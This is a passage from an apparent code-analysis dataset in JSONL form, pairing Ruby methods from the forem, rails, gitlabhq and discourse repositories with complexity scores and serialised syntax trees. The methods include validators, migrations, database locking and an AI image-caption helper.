ll]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_result\"]},\"errors\"]}]}]}]}]}","id":"091f5d7e-f485-46f9-800f-86df0435dbb6"}
{"repo_name":"forem","file_path":"./repos/forem/app/validators/profile_validator.rb","start_line":15,"raw_source":"def validate(record)\n    # NOTE: The summary is a base profile field, which we add to all new Forem\n    # instances, so it should be safe to validate. The method itself also guards\n    # against the field's absence.\n    if summary_too_long?(record)\n      record.errors.add(:base,\n                        message: I18n.t(\"validators.profile_validator.bio_too_long\"))\n    end\n\n    ProfileField.all.each do |field|\n      attribute = field.attribute_name\n      next if attribute == SUMMARY_ATTRIBUTE # validated above\n      next unless record.respond_to?(attribute) # avoid caching issues\n      next if __send__(\"#{field.input_type}_valid?\", record, attribute)\n\n      record.errors.add(attribute, errors[field.input_type])\n    end\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"summary_too_long?\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"validators.profile_validator.bio_too_long\"]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProfileField\"]},\"all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"attribute_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"SUMMARY_ATTRIBUTE\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__send__\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"input_type\"]}]},{\"type\":\"str\",\"children\":[\"_valid?\"]}]},{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"input_type\"]}]}]}]}]}]}]}","id":"f512dd78-03a7-4043-87f4-d7a785d15b38"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":457,"raw_source":"def test_application_name_is_normalized_in_config\n    run_generator [File.join(destination_root, \"MyWebSite\"), \"-d\", \"postgresql\"]\n    assert_file \"MyWebSite/app/views/layouts/application.html.erb\", /content_for\\(:title\\) \\|\\| \"My Web Site\"/\n    assert_file \"MyWebSite/app/views/layouts/application.html.erb\", /meta\\sname=\"application-name\"\\scontent=\"My Web Site/\n    assert_file \"MyWebSite/config/database.yml\", /my_web_site_production/\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_application_name_is_normalized_in_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"MyWebSite\"]}]},{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"MyWebSite/app/views/layouts/application.html.erb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"content_for\\\\(:title\\\\) \\\\|\\\\| \\\"My Web Site\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"MyWebSite/app/views/layouts/application.html.erb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"meta\\\\sname=\\\"application-name\\\"\\\\scontent=\\\"My Web Site\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"MyWebSite/config/database.yml\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"my_web_site_production\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"6b3797ab-c7b6-4a1f-bfb5-aad84359c804"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/banner_component.rb","start_line":14,"raw_source":"def initialize(\n      button_text: 'OK',\n      button_link: '#',\n      variant: :promotion,\n      svg_path: nil,\n      banner_options: {},\n      button_options: {},\n      close_options: {}\n    )\n      @button_text = button_text\n      @button_link = button_link\n      @variant = filter_attribute(variant.to_sym, VARIANT_OPTIONS, default: :promotion)\n      @svg_path = svg_path.to_s\n      @banner_options = banner_options\n      @button_options = button_options\n      @close_options = format_options(options: close_options, css_classes: %w[js-close gl-banner-close])\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"button_text\",{\"type\":\"str\",\"children\":[\"OK\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"button_link\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"promotion\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"svg_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"banner_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"button_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"close_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@button_text\",{\"type\":\"lvar\",\"children\":[\"button_text\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@button_link\",{\"type\":\"lvar\",\"children\":[\"button_link\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@variant\",{\"type\":\"send\",\"children\":[null,\"filter_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"to_sym\"]},{\"type\":\"const\",\"children\":[null,\"VARIANT_OPTIONS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"promotion\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@svg_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svg_path\"]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@banner_options\",{\"type\":\"lvar\",\"children\":[\"banner_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@button_options\",{\"type\":\"lvar\",\"children\":[\"button_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@close_options\",{\"type\":\"send\",\"children\":[null,\"format_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"close_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_classes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"js-close\"]},{\"type\":\"str\",\"children\":[\"gl-banner-close\"]}]}]}]}]}]}]}]}","id":"c2c08739-a4a7-44d4-9377-95f7d6c9cdfc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/lock_writes_manager.rb","start_line":42,"raw_source":"def lock_writes\n        unless force\n          unless table_exist?\n            logger&.info \"Skipping lock_writes, because #{table_name} does not exist\"\n            return result_hash(action: 'skipped')\n          end\n\n          if table_locked_for_writes?\n            logger&.info \"Skipping lock_writes, because #{table_name} is already locked for writes\"\n            return result_hash(action: 'skipped')\n          end\n        end\n\n        logger&.info Rainbow(\"Database: '#{database_name}', Table: '#{table_name}': Lock Writes\").yellow\n        sql_statement = <<~SQL\n          CREATE OR REPLACE TRIGGER #{write_trigger_name}\n            BEFORE INSERT OR UPDATE OR DELETE OR TRUNCATE\n            ON #{table_name}\n            FOR EACH STATEMENT EXECUTE FUNCTION #{TRIGGER_FUNCTION_NAME}();\n        SQL\n\n        result = process_query(sql_statement, 'lock')\n\n        result_hash(action: result)\n      rescue ActiveRecord::StatementInvalid => e\n        # Errors like Gitlab::Database::GitlabSchema::UnknownSchemaError, PG::UndefinedTable\n        # are raised under this error\n        logger&.warn \"Failed lock_writes, because #{table_name} raised an error. Error: #{e}\"\n        result_hash(action: 'skipped')\n      end","complexity_score":45.3,"ast_json":"{\"type\":\"def\",\"children\":[\"lock_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exist?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping lock_writes, because \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" does not exist\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"skipped\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_locked_for_writes?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping lock_writes, because \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" is already locked for writes\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"skipped\"]}]}]}]}]}]},null]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Database: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_name\"]}]},{\"type\":\"str\",\"children\":[\"', Table: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"': Lock Writes\"]}]}]},\"yellow\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_statement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE OR REPLACE TRIGGER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_trigger_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  BEFORE INSERT OR UPDATE OR DELETE OR TRUNCATE\\n\"]},{\"type\":\"str\",\"children\":[\"  ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  FOR EACH STATEMENT EXECUTE FUNCTION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TRIGGER_FUNCTION_NAME\"]}]},{\"type\":\"str\",\"children\":[\"();\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"process_query\",{\"type\":\"lvar\",\"children\":[\"sql_statement\"]},{\"type\":\"str\",\"children\":[\"lock\"]}]}]},{\"type\":\"send\",\"children\":[null,\"result_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed lock_writes, because \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" raised an error. Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"result_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"skipped\"]}]}]}]}]}]},null]}]}","id":"807a61f5-9fce-4eef-b7b5-abb2fc9686bb"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/user.rb","start_line":87,"raw_source":"def copy_to_tempfile(source_path)\n      extension = File.extname(source_path)\n      tmp = Tempfile.new([\"discourse-upload\", extension])\n\n      File.open(source_path) { |source_stream| IO.copy_stream(source_stream, tmp) }\n\n      tmp.rewind\n      tmp\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_to_tempfile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extension\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"source_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"discourse-upload\"]},{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"source_path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_stream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"copy_stream\",{\"type\":\"lvar\",\"children\":[\"source_stream\"]},{\"type\":\"lvar\",\"children\":[\"tmp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp\"]},\"rewind\"]},{\"type\":\"lvar\",\"children\":[\"tmp\"]}]}]}","id":"8549d735-60f9-4133-b2e6-145983c58caa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250721096253_migrate_ai_duo_chat_events_to_ai_usage_events.rb","start_line":13,"raw_source":"def up\n    table = Gitlab::Database::PostgresPartitionedTable.find_by_name_in_current_schema(\"ai_usage_events\")\n    return if table.postgres_partitions.empty?\n\n    model = define_batchable_model(:ai_duo_chat_events, connection: connection)\n\n    model.each_batch(column: :id, of: BATCH_SIZE) do |relation|\n      execute <<~SQL\n      INSERT INTO ai_usage_events\n      (\n        timestamp,\n        user_id,\n        organization_id,\n        created_at,\n        event,\n        extras,\n        namespace_id\n      )\n      SELECT\n        timestamp,\n        user_id,\n        organization_id,\n        created_at,\n        #{NEW_EVENT_TYPE} AS event,\n        payload AS extras,\n        CASE\n          WHEN namespace_path IS NULL THEN NULL\n          ELSE (\n            SELECT id FROM namespaces\n            WHERE id = regexp_replace(namespace_path, '(?:.*/)?([0-9]+)/$', '\\\\1')::bigint\n            LIMIT 1\n          )\n        END AS namespace_id\n      FROM (#{relation.to_sql}) AS rows\n      ON CONFLICT (namespace_id, user_id, event, timestamp) DO NOTHING\n      SQL\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"find_by_name_in_current_schema\",{\"type\":\"str\",\"children\":[\"ai_usage_events\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"postgres_partitions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"sym\",\"children\":[\"ai_duo_chat_events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO ai_usage_events\\n\"]},{\"type\":\"str\",\"children\":[\"(\\n\"]},{\"type\":\"str\",\"children\":[\"  timestamp,\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  organization_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  event,\\n\"]},{\"type\":\"str\",\"children\":[\"  extras,\\n\"]},{\"type\":\"str\",\"children\":[\"  namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  timestamp,\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  organization_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NEW_EVENT_TYPE\"]}]},{\"type\":\"str\",\"children\":[\" AS event,\\n\"]},{\"type\":\"str\",\"children\":[\"  payload AS extras,\\n\"]},{\"type\":\"str\",\"children\":[\"  CASE\\n\"]},{\"type\":\"str\",\"children\":[\"    WHEN namespace_path IS NULL THEN NULL\\n\"]},{\"type\":\"str\",\"children\":[\"    ELSE (\\n\"]},{\"type\":\"str\",\"children\":[\"      SELECT id FROM namespaces\\n\"]},{\"type\":\"str\",\"children\":[\"      WHERE id = regexp_replace(namespace_path, '(?:.*/)?([0-9]+)/$', '\\\\1')::bigint\\n\"]},{\"type\":\"str\",\"children\":[\"      LIMIT 1\\n\"]},{\"type\":\"str\",\"children\":[\"    )\\n\"]},{\"type\":\"str\",\"children\":[\"  END AS namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS rows\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT (namespace_id, user_id, event, timestamp) DO NOTHING\\n\"]}]}]}]}]}]}","id":"03e04b50-e148-45e0-ab1c-7a483f448ff1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":86,"raw_source":"def dismiss_posts\n    highest_number_source_column =\n      @user.whisperer? ? \"highest_staff_post_number\" : \"highest_post_number\"\n\n    sql = <<~SQL\n      UPDATE topic_users tu\n      SET last_read_post_number = t.#{highest_number_source_column}\n      FROM topics t\n      WHERE t.id = tu.topic_id AND tu.user_id = :user_id AND t.id IN (:topic_ids)\n    SQL\n\n    DB.exec(sql, user_id: @user.id, topic_ids: @topic_ids)\n    TopicTrackingState.publish_dismiss_new_posts(@user.id, topic_ids: @topic_ids.sort)\n\n    @changed_ids.concat @topic_ids\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dismiss_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"highest_number_source_column\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"whisperer?\"]},{\"type\":\"str\",\"children\":[\"highest_staff_post_number\"]},{\"type\":\"str\",\"children\":[\"highest_post_number\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topic_users tu\\n\"]},{\"type\":\"str\",\"children\":[\"SET last_read_post_number = t.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"highest_number_source_column\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"FROM topics t\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE t.id = tu.topic_id AND tu.user_id = :user_id AND t.id IN (:topic_ids)\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_ids\"]},{\"type\":\"ivar\",\"children\":[\"@topic_ids\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicTrackingState\"]},\"publish_dismiss_new_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic_ids\"]},\"sort\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"concat\",{\"type\":\"ivar\",\"children\":[\"@topic_ids\"]}]}]}]}","id":"29007e64-98cf-4195-bf27-6e6e592f822b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_helper/assistant.rb","start_line":249,"raw_source":"def generate_image_caption(upload, user)\n        bot = build_bot(IMAGE_CAPTION, user)\n        force_default_locale = false\n\n        context =\n          DiscourseAi::Personas::BotContext.new(\n            user: user,\n            skip_tool_details: true,\n            feature_name: IMAGE_CAPTION,\n            messages: [\n              {\n                type: :user,\n                content: [\"Describe this image in a single sentence.\", { upload_id: upload.id }],\n              },\n            ],\n            custom_instructions: custom_locale_instructions(user, force_default_locale),\n          )\n\n        structured_output = nil\n\n        buffer_blk =\n          Proc.new do |partial, _, type|\n            if type == :structured_output\n              structured_output = partial\n              bot.persona.response_format&.first.to_h\n            end\n          end\n\n        bot.reply(context, llm_args: { max_tokens: 1024 }, &buffer_blk)\n\n        raw_caption = \"\"\n\n        if structured_output\n          json_summary_schema_key = bot.persona.response_format&.first.to_h\n          raw_caption =\n            structured_output.read_buffered_property(json_summary_schema_key[\"key\"]&.to_sym)\n        end\n\n        raw_caption.delete(\"|\").squish.truncate_words(IMAGE_CAPTION_MAX_WORDS)\n      end","complexity_score":42.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_image_caption\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bot\",{\"type\":\"send\",\"children\":[null,\"build_bot\",{\"type\":\"const\",\"children\":[null,\"IMAGE_CAPTION\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"force_default_locale\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"BotContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_tool_details\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]},{\"type\":\"const\",\"children\":[null,\"IMAGE_CAPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Describe this image in a single 